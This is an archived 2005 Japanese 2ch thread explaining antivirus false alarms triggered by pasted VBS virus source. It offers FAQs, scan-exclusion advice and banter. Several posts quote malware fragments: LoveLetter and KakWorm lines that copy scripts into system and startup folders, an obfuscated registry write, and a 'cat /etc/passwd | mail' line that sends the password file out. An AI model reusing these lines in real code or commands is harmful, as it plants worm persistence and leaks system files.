■ このスレッドは過去ログ倉庫に格納されています
ノートンがvbsウィルスのソースに誤反応3
- 1 :他のアンチウィルスソフトが反応する場合もあります:05/03/01 01:58:58 ID:???
- 只今2chでvbsのウィルスのソースを貼りノートンなどのセキュリティツールを誤反応させるのが流行っています。
あまりにも質問スレなどで既出の(このvbsの)質問が多すぎるのでこのスレへURLを貼って誘導してください。
また新たなパターンのvbsが見つかったら一応このスレで報告願えると幸いです。
■この問題について■
2chのスレにvbsウィルスのソースを書き込むことによってブラウザがそのスレのhtmlファイルをダウンロードする際に
ウィルスのパターンと一致するので、ウィルスが検出されたとノートン先生などが騒ぎます。(設定によっては反応しないこともありますが、全く問題ありません)
ご存知の通り、htmlを読んでもこのvbsのソースは実行されることは無いので、全く問題ありません。
また、デフォルトだとIEはInternet Temporary Filesフォルダにhtmlをダウンロードしますので、感染ファイルはここのhtmlファイルにになります。
これらのファイルは削除しても全く問題ありませんが、該当スレを読み直すとまたvbsのソース付きhtmlがダウンロードされてしまうので警告が出ます。
■まとめと対策■
2ちゃんねる見ていたらvbsウィルスが検出された!
http://info.2ch.net/wiki/pukiwiki.php?%A5%CE%A1%BC%A5%C8%A5%F3%C6%FE%A4%EC%A4%BF%A4%E9%A3%B2ch%A4%CB%BD%F1%A4%AD%A4%B3%A4%E1%A4%CA%A4%A4%BF%CD%A4%D8#faq12
2ちゃんねる専用ブラウザでノートンを使うと今まで取得したログが抹消されてしまい、スレを再表示した時全てが新しいレスになってしまいます、どうすれば解決できるでしょうか?
http://info.2ch.net/wiki/pukiwiki.php?%A5%CE%A1%BC%A5%C8%A5%F3%C6%FE%A4%EC%A4%BF%A4%E9%A3%B2ch%A4%CB%BD%F1%A4%AD%A4%B3%A4%E1%A4%CA%A4%A4%BF%CD%A4%D8#faq08
2chブラウザのログ保存フォルダを「除外」に設定。
NAV2003以降はNorton Anti Virusのオプションで手動スキャンとAuto-Protectでそれぞれ除外の指定をして下さい。
前スレ
ノートンがvbsウィルスのソースに誤反応
http://pc.2ch.net/test/read.cgi/sec/1025872269/
ノートンがvbsウィルスのソースに誤反応2
http://pc5.2ch.net/test/read.cgi/pcqa/1033948204/
テンプレ>>1-10あたり
- 2 :ひよこ名無しさん:05/03/01 01:59:38 ID:???
- ■既知のvbsウィルスのソース■
・VBS.Internal
出元はhttp://tmp.2ch.net/test/read.cgi/download/1025717301/197だと思われる。
ダウソ板からいろんな板へ飛び火した模様。
・VBS.LoveLetter.A
c.Copy(dirsystem&”LOVE−LETTER−FOR−YOU.TXT.vbs
(反応しないように全角で書いてあります)出元不明。ニュー速から?
一般論として「htm」「html」拡張子などを安易に検索対象から外すことは奨励されません。これを感染ターゲットにするウィルスが数種確認されています。
http://www.symantec.com/region/jp/sarcj/data/v/vbs.internal.html
Q.ウイルスコードが貼られているのにノートン反応しない。。。
A.ウイルスコードが貼られている2ちゃんねるのスレをテストページとして使用するのは奨励されない。
なぜなら、ここで言われているノートンの反応は単なる掲示板とスキャンエンジンの「仕様の衝突」であり、
これからも同じページを見ればその都度反応するという保証がないから。
仕様というものは、ある時突然変更されたりするもの。
ネットサーフィン中のウイルス対策ソフトの常駐動作確認は、テスト用に作られたEICARテストファイルにアクセスして行うべき。
EICARテストファイル(正常に常駐していればURLにアクセスと同時に反応します)
ttp://www.eicar.org/download/eicar.com.txt
- 3 :ひよこ名無しさん:05/03/01 01:59:46 ID:???
- / ̄|
| |
| | / ̄ ̄ ̄ ̄ ̄ ̄
,― \ |
| ___) | ∩∩ ∠ リュンパッチ♪
| ___) | | |_| | \______
| ___) |\___(・∀・ )_____
ヽ__)_/ \___ _____, )__
〃 . / / / / 〃⌒i
| / ./ / / .i::::::::::i
____| /⌒\./ / / | ____|;;;;;;;;;;;i
[__]___| / /-、 .\_. / Uし'[_] .|
| || | / /i i / | || |
| ||____|____/ / .| .|\_ノ______..| || |
|(_____ノ /_| |_________..| || |
| LLLLLL./ __)L_| |LLLLLLLLLLLLLLLLL. | ||_____」
| || (_/ / i .| || | ||
|_|| / .ノ |_|| |_||
(_/
- 4 :ひよこ名無しさん:05/03/01 02:00:21 ID:???
- fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
< => <
> => >
& => &
" => "
それぞれしっかり置換されていれば反応しない、ここの掲示板の問題。
ノートンが反応するのは、ここの掲示板(2Ch)の仕様なので気にする必要なし。
ここは、時に他のウィルス対策ソフトが反応する場合もある。
反応したらソースを見てみるといい。他の掲示板と違うことに気付くはずだ。
断言できることは、他のWebページでノートンが反応した場合は要注意ということ。
尚、ここはウイルス鑑定スレではありません。
危ないと思ったURLはラウンジ板等の”勇気が無くて見られない画像解説スレ”で診てもらいましょう。
http://find.2ch.net/?STR=%CD%A6%B5%A4%A4%AC%CC%B5%A4%AF%A4%C6+%B2%F2%C0%E2%A5%B9%A5%EC&COUNT=50&TYPE=TITLE&BBS=ALL
■関連
ノートン入れたら2chに書きこめない人へ
http://ansitu.s53.xrea.com/guidance/index.php?NortonInternetSecurity
ノートンインターネットセキュリティ@2ちゃんねる検索
http://find.2ch.net/?STR=%A5%CE%A1%BC%A5%C8%A5%F3+%8E%B2%8E%DD%8E%C0%8E%B0%8E%C8%8E%AF%8E%C4%8E%BE%8E%B7%8E%AD%8E%D8%8E%C3%8E%A8+board%3A%A5%BB%A5%AD%A5%E5%A5%EA%A5%C6%A5%A3&COUNT=50&TYPE=TITLE&BBS=ALL
【ノートン入れたら2chに書きこめない】人へ@2ちゃんねる検索
http://find.2ch.net/?STR=%A5%CE%A1%BC%A5%C8%A5%F3%C6%FE%A4%EC%A4%BF%A4%E9%A3%B2%A3%E3%A3%E8%A4%CB%BD%F1%A4%AD%A4%B3%A4%E1%A4%CA%A4%A4+%BF%CD%A4%D8+board%3A%BD%E9%BF%B4%BC%D4%A4%CE%BC%C1%CC%E4&COUNT=50&TYPE=TITLE&BBS=ALL
- 5 :ひよこ名無しさん:05/03/01 02:05:28 ID:???
- 補足ありましたらお願いします。
- 6 :ひよこ名無しさん:05/03/01 02:06:29 ID:???
- ニャンです
- 7 :ひよこ名無しさん:05/03/01 18:00:01 ID:???
- Q.2ちゃんねるの板開いただけで反応します。
A.スレッドタイトルにウイルスコードが貼られていることがあり、それに反応しています。
2ちゃんねるブラウザの場合、ログ保存フォルダの他にスレタイ・既読スレ履歴等を保存しているファイルやフォルダを除外。
各2ちゃんねるブラウザによってスレタイ・既読スレ履歴等を保存しているファイルやフォルダが異なるようなので
特定のドライブ、フォルダ、ファイルをウイルススキャンの対象から除外する方法
http://service1.symantec.com/SUPPORT/INTER/navjapanesekb.nsf/7c3ff4677729271685256c470046ed2e/d9265b84ded9587488256b0400811ff7
↑を参考にお使いの2ちゃんねるブラウザのスレでお聞きください。
NAV2003以降はNorton Anti Virusのオプションで手動スキャンとAuto-Protectでそれぞれ除外の指定をして下さい。
http://info.2ch.net/wiki/pukiwiki.php?%A5%CE%A1%BC%A5%C8%A5%F3%C6%FE%A4%EC%A4%BF%A4%E9%A3%B2ch%A4%CB%BD%F1%A4%AD%A4%B3%A4%E1%A4%CA%A4%A4%BF%CD%A4%D8#faq08
- 8 :ひよこ名無しさん:05/03/02 00:36:43 ID:???
- その他リンク@2ちゃんねる検索
エロサイト見たら…助けて下さい!
http://find.2ch.net/?STR=%A5%A8%A5%ED%A5%B5%A5%A4%A5%C8%B8%AB%A4%BF%A4%E9+%BD%F5%A4%B1%A4%C6%B2%BC%A4%B5%A4%A4+board%3APC%BD%E9%BF%B4%BC%D4&COUNT=50&TYPE=TITLE&BBS=ALL
パソコン初心者総合質問スレッド
http://find.2ch.net/?STR=%A5%D1%A5%BD%A5%B3%A5%F3%BD%E9%BF%B4%BC%D4%C1%ED%B9%E7%BC%C1%CC%E4%A5%B9%A5%EC%A5%C3%A5%C9+board%3APC%BD%E9%BF%B4%BC%D4&COUNT=50&TYPE=TITLE&BBS=ALL
セキュリティ初心者質問スレッド
http://find.2ch.net/?STR=%A5%BB%A5%AD%A5%E5%A5%EA%A5%C6%A5%A3%BD%E9%BF%B4%BC%D4%BC%C1%CC%E4%A5%B9%A5%EC%A5%C3%A5%C9+board%3A%A5%BB%A5%AD%A5%E5%A5%EA%A5%C6%A5%A3&COUNT=50&TYPE=TITLE&BBS=ALL
- 9 :ひよこ名無しさん:05/03/03 00:26:00 ID:???
- ◆◇◆ 報告用テンプレ ◆◇◆ (暫定)
■>>1-9を読みましたか? 『YES/NO』
■2ちゃんねるの板・スレ・レス番のアドレス 『 』
■ノートンのメッセージ(ウイルス名) 『 』
■ブラウザの種類 『 』
■ノートンのヴァージョン 『 』
■ノートン以外のアンチウイルスソフト名 『 』
■その他. 『 』
- 10 :ひよこ名無しさん:05/03/03 01:13:35 ID:???
- 2ちゃんねるに貼られたウイルスコードに誤反応していたことがわかったら
インターネットエクスプローラの場合
ツール→インターネットオプション→インターネット一時ファイル、ファイルの削除
これをしないでウイルススキャンしたらインターネット一時ファイル(Temporary Internet Filesフォルダ)でウイルス反応がでます。
また、該当レスを再び読み込むとウイルス反応がでます。
2ちゃんねるブラウザを使って以下の設定をして2ちゃんねるを見ましょう。
2ちゃんねるブラウザの場合
2ちゃんねる専用ブラウザでノートンを使うと今まで取得したログが抹消されてしまい、スレを再表示した時全てが新しいレスになってしまいます、どうすれば解決できるでしょうか?
http://info.2ch.net/wiki/pukiwiki.php?%A5%CE%A1%BC%A5%C8%A5%F3%C6%FE%A4%EC%A4%BF%A4%E9%A3%B2ch%A4%CB%BD%F1%A4%AD%A4%B3%A4%E1%A4%CA%A4%A4%BF%CD%A4%D8#faq08
2chブラウザのログ保存フォルダを「除外」に設定。
NAV2003以降はNorton Anti Virusのオプションで手動スキャンとAuto-Protectでそれぞれ除外の指定をして下さい。
- 11 :ひよこ名無しさん:05/03/03 02:43:55 ID:7F9C8/Th
- よろ
kak.hta';ken=wdt'START
ms-its:mhtml:file://c:\
- 12 :ひよこ名無しさん:05/03/03 18:20:43 ID:???
- >>11
既出。
Wscript.KakWorm
http://pc5.2ch.net/test/read.cgi/pcqa/1033948204/946
Bloodhound.Exploit.6
http://pc5.2ch.net/test/read.cgi/pcqa/1033948204/932
- 13 :ひよこ名無しさん:05/03/04 01:48:43 ID:hGA62fOr
- http://c-au.2ch.net/test/-/pcqa/1033948204/928
このウイルスを解説してください
- 14 :ひよこ名無しさん:05/03/04 22:18:30 ID:???
- DAT落ち阻止て神戸♪
>>13
VBS.LoveLetter.Var
http://pc5.2ch.net/test/read.cgi/pcqa/1033948204/928
ウイルスコードが貼られているのにノートン反応しないって人は>>2見てね。
- 15 :ひよこ名無しさん:05/03/05 00:21:55 ID:hfT/sPqY
- ありがとう
しかしラブレター1個だけではないはず。
カーネルやネットワークも入っている。
一つ一つ解説してください。
- 16 :ひよこ名無しさん:05/03/05 19:06:57 ID:5lPM1YuQ
- c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
↑こういうのって最初に気づいた奴って天才だよな
- 17 :cen ◆Pm9xOTJuM. :05/03/05 20:09:53 ID:??? ?#
- あ。そうそう。
>>16 みたいなスクリプトを誤反応しないような、datファイルに
datを作り変えるプログラム作ってみました。
よかったら使ってみてください。
http://www.geocities.jp/cen_hp/index.html
- 18 :ひよこ名無しさん:05/03/05 22:58:07 ID:???
- あやすい・・・・・
- 19 :cen ◆Pm9xOTJuM. :05/03/06 02:36:23 ID:??? ?#
- >>18
自分のパソコンで何度も実行してますが、大丈夫ですよー。
さっき総質で見た、未対応のスクリプトに対応させました。
- 20 :名無しさん@お腹いぱーい。:05/03/06 22:24:25 ID:??? ?##
- >>17,19
ご支援ありがとうございます。
ttp://ansitu.xrea.jp/guidance/?NortonInternetSecurity#faq08tool
- 21 :ひよこ名無しさん:05/03/06 22:26:34 ID:NzpAHwS7
- ここの1の解説キボン
http://c-au.2ch.net/test/-/pcqa/1103598574/1
- 22 :ひよこ名無しさん:05/03/06 22:32:03 ID:???
- ==================================
=================/∧ =========/∧
===============/ / λ=======/ / λ ー
=============/ / λ====/ / λ ー /
===========/ / /λ =/ / /λ /
=========/ / / //λ / / //λ __
=======/  ̄ ̄ ̄ \ ___
=====./ / ̄ ) ( ̄ヽ λ /
====/ /●/ \● /λ /
===/ // \ /λ
===| / /| ___|____
==| ∧________ / //| /
==| ヽ───────〆 ///// /|\
===| / / ////| |
===\ / / /////
=====\_ / //////__/. |
========\ ミ/ |
==========\ / ─┐
============\ \ . ─┤
==============\ \ . ─┘
================\ \
==================\ ・ \
=====================
======================
- 23 :ひよこ名無しさん:05/03/09 04:14:09 ID:???
- hoshu
- 24 :ひよこ名無しさん:05/03/09 22:29:16 ID:???
- 未だにVIPの板更新すると、ノートン先生の逆鱗に触れてしまうオイラですが
2chのスレにvbsウィルスのソースを書き込むことによってブラウザがそのスレのhtmlファイルをダウンロードする際に
ウィルスのパターンと一致するので、ウィルスが検出されたとノートン先生などが騒ぎます。(設定によっては反応しないこともありますが、全く問題ありません)
らしいです、騒いでごめんなさい。
2chにかぎっては心配(゚听)イラネみたいです。
- 25 :24:05/03/09 22:30:49 ID:???
- 誤爆すいません
- 26 :ひよこ名無しさん:05/03/10 12:00:18 ID:???
- >>24
スレタイにウィルスコードが書いてある模様。
- 27 :ひよこ名無しさん:05/03/11 19:52:34 ID:???
- >>24
漏れもソレダ!!!
もう無視しまくりんぐwwwwwww
- 28 :ひよこ名無しさん:05/03/11 19:54:19 ID:2tTtEvgw
- ノートンなんか使ってんなよ ハゲ
- 29 :ひよこ名無しさん:05/03/11 20:20:02 ID:???
- A Boneを使用してるのですが、PC初心者の上の「初心者の質問」板をクリックするだけで、ノートンがウイルスを検知してしまいます。
しかも板を開く事もできません。毎回そうなってしまいます。
昨日、システムをスキャンしたら確かに感染していました。「初心者の質問」板だけ毎回そうなります。
これは何でしょうか?
- 30 :ひよこ名無しさん:05/03/11 21:00:24 ID:???
- ぐはははははwwwVIPもそうだよ
- 31 :名無しさん@お腹いぱーい。:05/03/11 22:14:43 ID:??? ?##
- >>29
>>7見てね。
- 32 :ひよこ名無しさん:05/03/12 00:37:07 ID:eI8qHG/W
- 2ちゃんを普通に見ていただけなのにノートンから「ウィルス名は
Unix.Penguinで、ファイルを修復できません」と表示されてしまいました。何か対策は無いでしょうか?
ちなみに誤作動との見分け方はありますか?
- 33 :ひよこ名無しさん:05/03/12 04:45:56 ID:???
- / ̄|
| |
| | / ̄ ̄ ̄ ̄ ̄ ̄
,― \ |
| ___) | ∩∩ ∠ リュンパッチ♪
| ___) | | |_| | \______
| ___) |\___(・∀・ )_____
ヽ__)_/ \___ _____, )__
〃 . / / / / 〃⌒i
| / ./ / / .i::::::::::i
____| /⌒\./ / / | ____|;;;;;;;;;;;i
[__]___| / /-、 .\_. / Uし'[_] .|
| || | / /i i / | || |
| ||____|____/ / .| .|\_ノ______..| || |
|(_____ノ /_| |_________..| || |
| LLLLLL./ __)L_| |LLLLLLLLLLLLLLLL. | ||_____」
| || (_/ / i .| || | ||
|_|| / .ノ |_|| |_||
(_/
- 34 :ひよこ名無しさん:05/03/12 21:15:24 ID:KI7PmLwk
- Open Janeをでスレを見てたらウィルスコードが張られてて
ウィルス警告が出てファイルが修復出来ませんとでました。
ウィルスコードをNGワードに入れたら、NGワードが全部消えて
デスクトップにあるNGWordtxtというアイコンを削除しようとすると
やはりウィルス警告が出て削除できません。
スキャンをするとあるファイルの所まで来ると電源が切れてしまいます。
ウィルス名は「Bloodhound.Exploit6」と出るのですが、どうしたらいいでしょうか・・・。
- 35 :ひよこ名無しさん:05/03/12 21:50:19 ID:???
- >>34
∩∩
| |_| | / ̄ ̄ ̄ ̄ ̄ ̄ ̄
/ ̄\ ・∀・) < リュンパッチ♪
.r ┤ ト、 \ \_______
|. \_/ ヽ |
| __( ̄ | | |
| __)_ノ ̄ ̄ ̄ ̄\
ヽ___) ノ \
||\|| ̄ ̄ ̄ ̄ ̄ ̄ ̄|| ̄
|| || ̄ ̄ ̄ ̄ ̄ ̄ ̄||
.|| ||
- 36 :34:05/03/12 23:34:38 ID:???
- すみません。
1つは解決しましたがスキャンすると電源が落ちるのは直りませんので
これは他のスレで聞いてみます
- 37 :ひよこ名無しさん:05/03/17 15:26:43 ID:???
- なんだ、最近多いと思ってたがウィルスコードのせいだったのか。
しかしこれってあぼーんされないのかな。
とりあえずここみて安心した。ありがと。
- 38 :ひよこ名無しさん:2005/03/26(土) 15:19:56 ID:Yoan0Q7l
- Norton Anti Virusと使ってます。
ウイルス、Unix PenguinをNGワードに登録するには
どんな単語をNGワードにすればいいんですか?
Unix Penguinと反応するスレ内見てもそれらしい書き込みがないので分かりません。
- 39 :ひよこ名無しさん:2005/03/26(土) 16:10:26 ID:???
- >>38
NGワードに登録するんではなく
Norton Anti VirusのオプションのAuto-Protectと手動スキャンでログフォルダを除外に指定しる
- 40 :ひよこ名無しさん:2005/03/26(土) 16:12:46 ID:Yoan0Q7l
- >>39
いや、それはやってるんですけど、反応するんです。
多分、キャッシュフォルダの方も除外指定にしないとだめっぽいです。
でも、それはセキュリティー的によくないってどっかに書いてあったんで、
NGワードに登録したいんですけど、できないんでしょうか?
- 41 :ひよこ名無しさん:2005/03/26(土) 16:16:33 ID:???
- >>40
2ちゃんねるブラウザのログフォルダを除外にしても2ちゃんねるブラウザで閲覧中に反応するの?
- 42 :ひよこ名無しさん:2005/03/26(土) 16:26:59 ID:Yoan0Q7l
- >>41
そうです。Norton Anti VirusとLive2chの組み合わせでAnti Virusの設定で
Live2chのログフォルダは除外に設定してます。
でも、Live2chで見てるとUnix Penguinだけ反応します。
- 43 :ひよこ名無しさん:2005/03/26(土) 16:29:39 ID:???
- >>42
設定パス間違えてない?
- 44 :ひよこ名無しさん:2005/03/26(土) 16:32:08 ID:???
- これはどうだ?
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\ cat /etc/passwd | mail nobody kak.hta';ken=wd+'START
- 45 :ひよこ名無しさん:2005/03/26(土) 16:33:47 ID:???
- と思ったら、VBS.Network.Eとかいうのも反応しっちゃってるよwww
どういうこと?
- 46 :ひよこ名無しさん:2005/03/26(土) 16:35:49 ID:???
- それでええんや。
- 47 :ひよこ名無しさん:2005/03/26(土) 16:37:15 ID:???
- http://pc8.2ch.net/test/read.cgi/pcqa/1109609938/43
- 48 :ひよこ名無しさん:2005/03/26(土) 16:37:34 ID:???
- >>45
、-'''"´ ̄ ̄`"''''-、
/ / ;;;;;;;;;;;;; \ \⌒⌒
/ ..::;;● ;;;;;;;;;;;;;, ●;;;;;;;;;::ヽ ^^
|. .::;;;;;;;;;;;(__人__);;;;;;;;;;;;;;;;::.|
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
:::::;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::
:::::::;;;;;;;;;;;;;;;;;;;;;;;;;
::::::::::::::::∧_∧ そうやってなんでも
::::::::: ( ::;;;;;;;;:) VIPのせいにしてりゃいいさ…
_.. /⌒:::;;;;;ヽ
-― ―'ー'-''―-''/ / ::;;;;;;;;:| |―'''ー'-''――'`'
,, '''' . ''''' と./ゝ_;_;_ノヽつ 、、, ''" それがVIPクオリティ…
,,, '' ,,, ::;;;;;;;;;::: ,, ''''' ,,,, http://ex7.2ch.net/news4vip
- 49 :ひよこ名無しさん:2005/03/26(土) 16:38:45 ID:Yoan0Q7l
- >>43
いや、間違えてないと思います。
なんか他のウイルスにも反応してる。。。Network.E。
- 50 :ひよこ名無しさん:2005/03/26(土) 16:40:10 ID:???
- >>49
いやいや、間違えてるんだろ?
- 51 :ひよこ名無しさん:2005/03/26(土) 16:43:50 ID:Yoan0Q7l
- >>50
いや、C\ProgramFiles\Live2ch\logになってるからあってると思います。
- 52 :ひよこ名無しさん:2005/03/26(土) 16:48:03 ID:???
- i|!| |i┏┓! i!┏┳┓| |||i|!i| ||!i|| |||ii| ||| ||| |i||!|i│i!┏┓i!|
|i|┏┛┗━╋┻┛|i!||!|ii|| i|!i||i|┏━┓ ┏┓i|i| i┃┃i!|
i||┗┓┏┓┃||i┏━━━━┓┗━┛ ┃┃|i||!i┃┃i!|
|i |!|i┃┃┃┃i||┗━━━━┛|i|| || ||||!┃┃i|i| i┗┛!i|
i||i ||┃┃┃┃|! |||i ||i !|||!|┏━━┛┃|i||!i┏┓i|!
|i!i |!┗┛┗┛i|!i| / | / | ┗━━━┛i|i| i┗┛i!|
i| |||i|!i| ||!|i||i! /,_ ┴─/ ヽ |!i| ||| |i||!|i|i|||| ||i
|i|| ||i!i|| (_゜.,》.'(_゜,》)ミ ヽ ! | |!i||!|ii||!|ii|
i|ii / ,,__,ニ、、 ノ( | i|i!|i|
|i | Y~~/~y} `, ~ | そ、そんなー… |i
!. | ,k.,.,!,.,.,r| ,! く .!
i / <ニニニ'ノ \ l
- 53 :ひよこ名無しさん:2005/03/26(土) 16:54:31 ID:???
- >>51
除外に設定する時にサブフォルダも含めるにチェック入れた?
- 54 :ひよこ名無しさん:2005/03/26(土) 17:05:16 ID:???
- チン ☆ チン ☆
チン マチクタビレタ〜 チン ♪
♪
♪ ☆チン .☆ ジャーン! マチクタビレタ〜!
☆ チン 〃 ∧_∧ ヽ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
ヽ ___\(・∀・ #) /\_/ < うっかりさん51の報告まだ〜?
チン \_/⊂ つ ‖ \__________
/ ̄ ̄ ̄ ̄ ̄ ̄ ̄/| ‖ マチクタビレタ〜!
|  ̄  ̄ ̄ ̄ ̄ ̄ ̄:| :| /|\
| |/
- 55 :ひよこ名無しさん:2005/03/26(土) 17:07:33 ID:???
- もう戻ってきません。
- 56 :ひよこ名無しさん:2005/03/26(土) 17:21:58 ID:Yoan0Q7l
- >>53
チェック入ってます。
- 57 :ひよこ名無しさん:2005/03/26(土) 17:27:12 ID:???
- i|!| |i┏┓! i!┏┳┓| |||i|!i| ||!i|| |||ii| ||| ||| |i||!|i│i!┏┓i!|
|i|┏┛┗━╋┻┛|i!||!|ii|| i|!i||i|┏━┓ ┏┓i|i| i┃┃i!|
i||┗┓┏┓┃||i┏━━━━┓┗━┛ ┃┃|i||!i┃┃i!|
|i |!|i┃┃┃┃i||┗━━━━┛|i|| || ||||!┃┃i|i| i┗┛!i|
i||i ||┃┃┃┃|! |||i ||i !|||!|┏━━┛┃|i||!i┏┓i|!
|i!i |!┗┛┗┛i|!i| / | / | ┗━━━┛i|i| i┗┛i!|
i| |||i|!i| ||!|i||i! /,_ ┴─/ ヽ |!i| ||| |i||!|i|i|||| ||i
|i|| ||i!i|| (_゜.,》.'(_゜,》)ミ ヽ ! | |!i||!|ii||!|ii|
i|ii / ,,__,ニ、、 ノ( | i|i!|i|
|i | Y~~/~y} `, ~ | そ、そんなー… |i
!. | ,k.,.,!,.,.,r| ,! く .!
i / <ニニニ'ノ \ l
- 58 :ひよこ名無しさん:2005/03/26(土) 17:32:20 ID:???
- >>56 もうシマンテックに聞きなさい
- 59 :ひよこ名無しさん:2005/03/26(土) 19:17:05 ID:Yoan0Q7l
- >>58
了解w
ありがとうございました
- 60 :ひよこ名無しさん:2005/04/08(金) 23:17:51 ID:tNlrsDBu
- 画像板から誘導されてきました。
「2chブラウザのログ保存フォルダを「除外」に設定」
というのはどうやってやるんでしょうか?
壺を使ってます。
初心者すぎてすいません。どなたかよろしくお願いいたします。
- 61 :ひよこ名無しさん:2005/04/08(金) 23:23:05 ID:???
- >>60
テンプレに書いてあるだろ
- 62 :ひよこ名無しさん:2005/04/09(土) 00:06:17 ID:Zkyvn8EZ
- Norton Anti VirusのAuto-Protectと手動スキャンで壺フォルダを除外に指定しても、壺で閲覧中に反応します。
よくわかりません・・・orz
- 63 :ひよこ名無しさん:2005/04/09(土) 00:07:00 ID:tNlrsDBu
- ↑
60です
- 64 :ひよこ名無しさん:2005/04/09(土) 19:08:32 ID:zr8Dnfd3
- ,:::-、 __
,,r::::::::::::〈:::::::::) ィ::::::ヽ
〃::::::::::::;r‐''´:::::::::::::::::::::ヽ::ノ
,'::;'::::::::::::::/::::::::::::::::::::::::::::::::::::
l::::::::::::::::::l::::::::::●::::::::::::::●:::::ji
|::::::::::::::::::、::::::::::::::( _●_)::::::,j:l クマー!
}::::::::::::::::::::ゝ、::::::::::|∪|_ノ::;!
. {::::::::::::::::::::::::::::`='=::ヽノ:::::/
';::::::::::::ト、::::::::::::::i^i::::::::::::/
`ー--' ヽ:::::::::::l l;;;;::::ノ
【ラッキーレス】
このレスを見た人はコピペでもいいので
10分以内に3つのスレへ貼り付けてください。
そうすれば14日後好きな人から告白されるわ宝くじは当たるわ
出世しまくるわ体の悪い所全部治るわでえらい事です
- 65 :ひよこ名無しさん:2005/04/12(火) 18:29:30 ID:???
- 今まで書き込めなかったのはノートン先生の仕業だったのか
このスレのおかげで助かりました
- 66 :ひよこ名無しさん:2005/04/12(火) 22:20:35 ID:kw9rPCF2
- マカフィーで反応
- 67 :66:2005/04/12(火) 23:08:34 ID:kw9rPCF2
- 駆除も削除も出来ないんだけどほっといていいのですか?
- 68 :ひよこ名無しさん:2005/04/18(月) 19:11:29 ID:PlotUVoz
- >>66
自分もそうなるよ。
- 69 :ひよこ名無しさん:2005/04/18(月) 22:19:38 ID:???
- すいません、ノートンAV2005なんですが、Janeのログを除外に設定したいんですが
AV2005のオプションを開いても「除外」っていう項目が無いのですけど
どうすれば設定できるのですか?
ご指導、お願い致します。
- 70 :ひよこ名無しさん:2005/04/19(火) 00:47:01 ID:9XxAkRTd
- sagase
- 71 :ひよこ名無しさん:2005/04/22(金) 15:13:49 ID:ZNT0DAb6 ?
- 大空寺あゆ親衛隊対策
(1)タスクトレイに入っているNorton AntiVirusのアイコンを右クリック
(2)「Norton AntiVirusの設定」をクリック
(3)左側にある「Auto-Protect」をクリック
(4)その下に出てきた「除外」をクリック
(5)「除外する項目」の「新規」をクリック
(6)「C:\Program Files\Live2ch\log」(Live2chの場合)と入力し、「サブフォルダも含める」にチェックを入れ、「OK」をクリック
(7)左側にある「Auto-Protect」をクリック
(8)(4)〜(6)をもう一度繰り返す
(9)設定画面が消えるまで「OK」をクリックする
- 72 :ひよこ名無しさん:2005/04/22(金) 19:25:55 ID:???
- ∧ l'vヘ
ハ ┌( ;/ ト, ,、 rヘ r'^ナrジ-z
__}ヽ,__ (ヽ/ス_r^フしz,り い)n/イr〜^′
'っヾ、r'__ |レ'ノ_C'入彳勺ソメろ_j/し-,_
`フ ヾ勹_| <_r' !|刀_」r''>||/⌒(_rヘ-‐'
<_ゝし||フぅ(ひzメ__ゝ'l !'そ
~zヾ|て 、l レ^ //'| |'~
| | ヽl| // }|
| :! || | | ,/ ,' すいません、ちょっと通りますよ
| :{. || | |/ /
l !|| | | /
ヽ ヽ.|/ //
_,r)_ j (_,( ciz
,ノこ_- __,ーヽ ん|Zゥ レz zjそ_
} ... 丿 ろ、,_!|乙7ムLそ/し-z
ノ""'' 一( `う.l !シ/ア了//_⊂,
/、__ ヽ ^'| |~//,/_ソ ハr^
/ ...... ーl | |// //ノ
/~"' 、__/ ,,,...} |/ ///
{' _ `y′ 一 / r'〜(_ノ
人 =/‐- ハ 丿" ''(
ヽ '' / __,, / / ‐- ''')
'∨ X. }''' ....ノ
j ー/ /== ノ'ヽ
/=‐ r'´-ヽ } ー/'''' {
,' _,, 人 ''"`、 ノ.. '' ノ`ヽ ''"ヽ
{ー / \ -'} / / \'''}`
ハ 〈 )八 ( f )ハ
ヽ ) (( )ノ /
ノ/ ') _/
- 73 :ひよこ名無しさん:2005/04/24(日) 20:15:37 ID:P3pvijoD
- ちゃんと2ch.netとAuto-Protectと手動スキャンで除外設定しましたが
VBS.Internalがしつこく警告ストロムしてきます
他に必要な手順はありますか?
- 74 :ひよこ名無しさん:2005/04/24(日) 20:59:20 ID:KLwGdhW7
- >>72
ひわいな大根買い占める! ハイ!
(( (`Д´) (`Д´) ))
(/ /) (| |)
< ̄< < ̄<
ハイ! ハイ! ハイ
(. `Д)_(Д´ )
ノ ノヽ | |>
ノ > < ヽ
ハイ!
(. )_(`Д´)ノ
ノ ノヽ |ヘ |
ノ > <
ハイ! ワァオ!
(゜∀゜)_(゜∀゜)ノ
